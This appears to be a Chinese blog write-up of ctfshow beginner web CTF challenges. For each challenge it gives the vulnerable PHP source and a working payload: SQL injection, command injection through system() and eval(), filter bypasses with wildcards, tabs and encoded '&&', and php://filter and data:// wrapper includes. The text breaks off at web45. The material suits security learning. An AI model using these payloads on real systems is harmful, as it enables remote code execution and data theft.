• ctfshow web入门部分题目 (更新中)


    CTFSHOW(WEB)

    web入门

    给她 1

    参考文档

    https://blog.csdn.net/weixin_51412071/article/details/124270277

    image-20221016152918514

    查看链接

    sql注入

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    $pass=sprintf("and pass='%s'",addslashes($_GET['pass'])); $sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name'])); ?>

    在这里插入图片描述

    直接用这里的payload也可以,但是要构造万能密码,把and换为or就行%1$' and 1=1#

    在这里插入图片描述

    复制代码
    • 1
    • 2
    • 3
    ?name=admin&pass=%1$' or 1=1--+

    在这里插入图片描述

    找到此页面的cookie

    转为16进制解码得到

    flag.txt

    尝试将Cookie中的file赋值为/flag,即

    将/flag换成16进制

    复制代码
    • 1
    Cookie: file=2f666c6167

    成功

    image-20221016153919564

    签到题

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    if(isset($_GET['url'])){ system("curl https://".$_GET['url'].".ctf.show"); }else{ show_source(__FILE__); } ?>

    代码审计

    构造url

    get传入url

    system表示php直接执行系统的命令

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    "|"是管道命令操作符,简称管道符。 使用管道符"|"可以将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会作为 第二个命令的输入, 第二个命令的输出又会作为第三个命令的输入,依此类推.

    构造

    复制代码
    • 1
    http://edbb7af6-9f4a-445e-9578-93b24d1559c6.challenge.ctf.show/?url=;ls;

    则为:

    复制代码
    • 1
    curl https://;ls;.ctf.show

    例如:

    image-20221016155234428

    靶场如下:

    执行ls

    image-20221016155454138

    执行cat查看flag

    image-20221016155443323

    假赛生

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    session_start(); include('config.php'); if(empty($_SESSION['name'])){ show_source("index.php"); }else{ $name=$_SESSION['name']; $sql='select pass from user where name="'.$name.'"'; echo $sql."
    "
    ; system('4rfvbgt56yhn.sh'); $query=mysqli_query($conn,$sql); $result=mysqli_fetch_assoc($query); if($name==='admin'){ echo "admin!!!!!"."
    "
    ; if(isset($_GET['c'])){ preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1); echo $flag; }else{ echo "you not admin"; } } } ?>

    题目显示register.php和login.php提示

    image-20221016161314867

    image-20221016161330150

    注册admin

    image-20221016162148396

    使用admin (空格)注册

    image-20221016162329783

    注册成功

    尝试登录

    image-20221016162350810

    证实登录页面的php后台属于 上述

    接着注入c

    复制代码
    • 1
    preg_replace_callback 函数执行一个正则表达式搜索并且使用一个回调进行替换。
    复制代码
    • 1
    mixed preg_replace_callback ( mixed $pattern , callable $callback , mixed $subject [, int $limit = -1 [, int &$count ]] )

    这个函数的行为除了可以指定一个 callback 替代 replacement 进行替换字符串的计算,其他方面等同于 preg_replace()。

    参数说明:

    • $pattern: 要搜索的模式,可以使字符串或一个字符串数组。
    • $callback: 一个回调函数,在每次需要替换时调用,调用时函数得到的参数是从subject 中匹配到的结果。
    • $subject: 要搜索替换的目标字符串或字符串数组。
    • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
    • $count: 可选,为替换执行的次数。
    复制代码
    • 1
    • 2
    • 3
    • 4
    有关正则匹配的知识 \w:用于匹配字母,数字或下划线字符; \W:用于匹配所有与\w不匹配的字符; “*”元字符规定其前导字符必须在目标对象中出现零次或连续多次;

    其实没有过滤空格此处为空即可

    image-20221016163057416

    信息收集

    web6

    提示:解压源码到当前目录,测试正常,收工

    url/www.zip

    得到zip

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-01 14:37:13 # @Last Modified by: h1xa # @Last Modified time: 2020-09-01 14:42:44 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in fl000g.txt echo "web6:where is flag?" ?>

    url/fl000g.txt

    image-20221020103326713

    web7

    复制代码
    • 1
    版本控制很重要,但不要部署到生产环境更重要。

    原理

    复制代码
    • 1
    Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候,会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等。发布代码的时候,如果没有把.git这个目录删除,就直接发布到了服务器上,攻击者就可以通过它来恢复源代码。

    image-20221020103614829

    web12

    复制代码
    • 1
    有时候网站上的公开信息,就是管理员常用密码

    image-20221020104534599

    整个网页

    url/admin

    提示登录

    寻找密码

    https://img-blog.csdnimg.cn/20210516091428533.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0dvb2RyaWM=,size_16,color_FFFFFF,t_70

    直接登录

    web14

    复制代码
    • 1
    • 2
    • 3
    • 4
    小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录 有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
    复制代码
    • 1
    • 2
    • 3
    http://10a7bbc1-1b83-4af6-9e3a-da357edaf2b6.challenge.ctf.show/editor/

    image-20221020105409348

    如上图

    image-20221020105621724

    点击图片空间

    遍历文件得到

    fl000g.txt

    image-20221020105907576

    web16

    复制代码
    • 1
    对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

    url/tz.php

    image-20221020110443648

    点击

    image-20221020110857139phpinfo

    ctfshow{91d643da-2afc-4ff8-b6cc-d61a1d0cc296}

    web17

    复制代码
    • 1
    备份的sql文件会泄露敏感信息

    后台

    下载到sql语句

    查询得到

    复制代码
    • 1
    INSERT INTO `ctfshow_secret` VALUES ('ctfshow{49c243e0-a3e9-42d6-9378-760ebfd1bbb4}');

    web18

    复制代码
    • 1
    不要着急,休息,休息一会儿,玩101分给你flag

    查看js源码

    image-20221020112647730

    复制代码
    • 1
    • 2
    \u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b

    image-20221020112735104

    解码后

    访问

    image-20221020112804421

    web19

    复制代码
    • 1
    密钥什么的,就不要放在前端了

    image-20221020113152582

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    error_reporting(0); $flag="fakeflag" $u = $_POST['username']; $p = $_POST['pazzword']; if(isset($u) && isset($p)){ if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){ echo $flag; } }

    ctfshow{4e1cc67e-fe41-42f3-89a5-dfa1608cc269}

    打开brup

    发现passzd不一样,修改passzd即可

    爆破

    web23

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 11:43:51 # @Last Modified by: h1xa # @Last Modified time: 2020-09-03 11:56:11 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php'); if(isset($_GET['token'])){ $token = md5($_GET['token']); if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){ if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){ echo $flag; } } }else{ highlight_file(__FILE__); } ?>

    提示爆破,安排

    在线编写函数爆破

    image-20221022103319377

    输入得到flag

    ctfshow{eeee6a3c-db2e-4e5d-8aec-0adc7b1f4617}

    web24

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 13:26:39 # @Last Modified by: h1xa # @Last Modified time: 2020-09-03 13:53:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include("flag.php"); if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(372619038); if(intval($r)===intval(mt_rand())){ echo $flag; } }else{ highlight_file(__FILE__); echo system('cat /proc/version'); } ?> Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022

    intval() 函数用于获取变量的整数值。

    直接在线php输入

    image-20221022104751176

    得到值

    https://blog.csdn.net/qq_45521281/article/details/107302795

    不幸的是,php每次调用mt_rand()函数时,都会先检查是否已经播种。如果已经播种就直接产生随机数,否则调用php_mt_srand来播种。也就是说每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数。

    web25

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 13:56:57 # @Last Modified by: h1xa # @Last Modified time: 2020-09-03 15:47:33 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include("flag.php"); if(isset($_GET['r'])){ $r = $_GET['r']; mt_srand(hexdec(substr(md5($flag), 0,8))); $rand = intval($r)-intval(mt_rand()); if((!$rand)){ if($_COOKIE['token']==(mt_rand()+mt_rand())){ echo $flag; } }else{ echo $rand; } }else{ highlight_file(__FILE__); echo system('cat /proc/version'); } Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022 Linux version 5.4.0-126-generic (buildd@lcy02-amd64-072) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #142-Ubuntu SMP Fri Aug 26 12:12:57 UTC 2022

    web27

    image-20221022115313068

    下载得到名单

    爆破身份证号

    image-20221022115331879

    得到union,解码

    复制代码
    • 1
    恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码

    登录即可

    命令执行

    Web29

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    preg_match 函数用于执行一个正则表达式匹配。

    使用system函数操作

    image-20221023161830249

    因为flag字符串被过滤

    使用tac命令

    反序查看

    tac的功能是可以将文件的内容倒着顺序输出

    http://13a798dc-688b-43e1-a5d8-58020aa6328f.challenge.ctf.show/?c=system("tac fl*.php");

    查出

    Web30

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:42:26 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    加入过滤的system和php

    复制代码
    • 1
    • 2
    • 3
    PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。 由此:可以

    image-20221023163456777

    image-20221023163522779

    web31

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    这次过滤了空格和

    使用%09绕过

    image-20221023163945698

    image-20221023163957796

    仔细看url

    image-20221023164106080

    或者使用跳板

    /?c=eval($_GET[1]);&1=system("tac flag.php");

    web32

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:56:31 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    过滤巨多

    /?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    web33

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 02:22:27 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    因为这题和web32一样,过滤了括号"|(",所以有括号的函数肯定是不能用了,只能尝试文件包含,用include函数

    复制代码
    • 1
    http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

    当然使用post方法也可以

    复制代码
    • 1
    • 2
    http://edd31fdf-49f2-48cf-b97e-fb12b3f7bc40.challenge.ctf.show/?c=include%0a$_POST[1]?> 1=php://filter/convert.base64-encode/resource=flag.php

    得到base64编码的flag

    复制代码
    • 1
    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7YmEzNTJjNGYtZjhlMC00NDk0LWFjYjMtZWY4NDUwNDJjOTc5fSI7DQo=

    解码后即可

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:49:19 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:49:26 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{ba352c4f-f8e0-4494-acb3-ef845042c979}";

    web34

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:29 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    与web33上述方法相同

    web35

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    与web33一样

    web36

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 04:21:16 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    上述的绕过无效

    查看得知过滤了数字

    所以使用其他索引,可以不加''

    复制代码
    • 1
    http://3ad812aa-9d4c-40c2-9384-929c66b16173.challenge.ctf.show/?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

    web37

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:18:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }

    改变题型

    不是eval执行

    使用伪协议

    data://text/plain协议

    此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

    使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

    data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,

    复制代码
    • 1
    http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain, phpinfo(); ?>

    可以执行

    过略了flag

    所以使用占位符?

    复制代码
    • 1
    http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/?c=data://text/plain, system("cp fla?.php 1.txt") ;?>
    复制代码
    • 1
    http://ef1a0754-409c-4a9a-815b-cfcfa60f054c.challenge.ctf.show/1.txt

    即可查看

    web38

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:23:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }

    新加了php和file限制

    使用php代码块绕过

    注意flag.php 不能包含php

    加上使用短标签绕过

    说明:“=”是PHP的一个短的开放式标签,是echo() 的快捷用法。

    复制代码
    • 1
    http://8bd3cc78-8585-4eb6-9005-ff69df84e908.challenge.ctf.show/?c=data://text/plain,<?= system("cp fl??.* 1.txt"); ?>
    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 05:12:00 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:12:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{8b2e8b99-4c4a-47fc-b328-3697c7d33ce6}";

    web39

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:13:21 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }

    没有回显

    include 只生成警告(E_WARNING),并且脚本会继续

    后面强制加入后缀

    复制代码
    • 1
    http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain, phpinfo(); ?>

    有回显

    然后

    因为php 先执行前面的,再执行.php 所以有回显

    复制代码
    • 1
    http://91a1aa8b-b89f-4c99-9da9-4a04b5c8ba05.challenge.ctf.show/?c=data://text/plain, system("cp fla?.php 1.txt");?>

    页面显示.php

    1.txt

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 05:12:00 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 05:12:10 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{513f94f6-1efc-46d6-9bdb-451848a70f2a}";

    web40

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 06:03:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

    官方

    复制代码
    • 1
    http://c6854ce2-0c57-4597-837b-7eab839fcd51.challenge.ctf.show/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

    web41

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: 羽 # @Date: 2020-09-05 20:31:22 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:40:07 # @email: 1341963450@qq.com # @link: https://ctf.show */ if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>

    web42

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:51:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }

    类似黑洞

    输入第一个参数无反应

    http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls

    空白

    双写绕过

    http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?c=ls;ls

    flag.php index.php

    http://ea3d4b38-8807-483c-afec-55841fcef42f.challenge.ctf.show/?cat flag/php;ls

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    ?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:44 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:49:53 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ $flag="ctfshow{b18aaef2-c72e-4578-b3c0-b0040746fb94}";

    知识点

    1、可以将/dev/null看作"黑洞". 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到. 然而, /dev/null对命令行和脚本都非常的有用.
    用处:
    禁止标准输出. 1 cat $filename >/dev/null # 文件内容丢失,而不会输出到标准输出.
    禁止标准错误. 2>/dev/null 这样错误信息[标准错误]就被丢到太平洋去了.

    > 代表重定向到哪里,例如:echo "123" > /home/123.txt
    1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"
    2 表示stderr标准错误
    & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

    1>/dev/null 首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,说白了就是不显示任何信息。
    2>&1 接着,标准错误输出重定向等同于 标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

    web43

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }

    过滤了;和cat

    使用url编码加&&绕过

    http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=ls%26%26ls

    flag.php index.php

    当&&的时候才会执行第二个命令

    直接执行

    http://0256d8cb-b147-44d8-9e67-a55b98c4b24a.challenge.ctf.show/?c=tac flag.php%26%26ls

    web44

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:01 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }

    过滤了flag

    使用通配符

    http://4d153915-5e45-4ce0-8bd9-fa7917cc64a1.challenge.ctf.show/?c=tac fla*.php%26%26ls

    web45

    复制代码
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
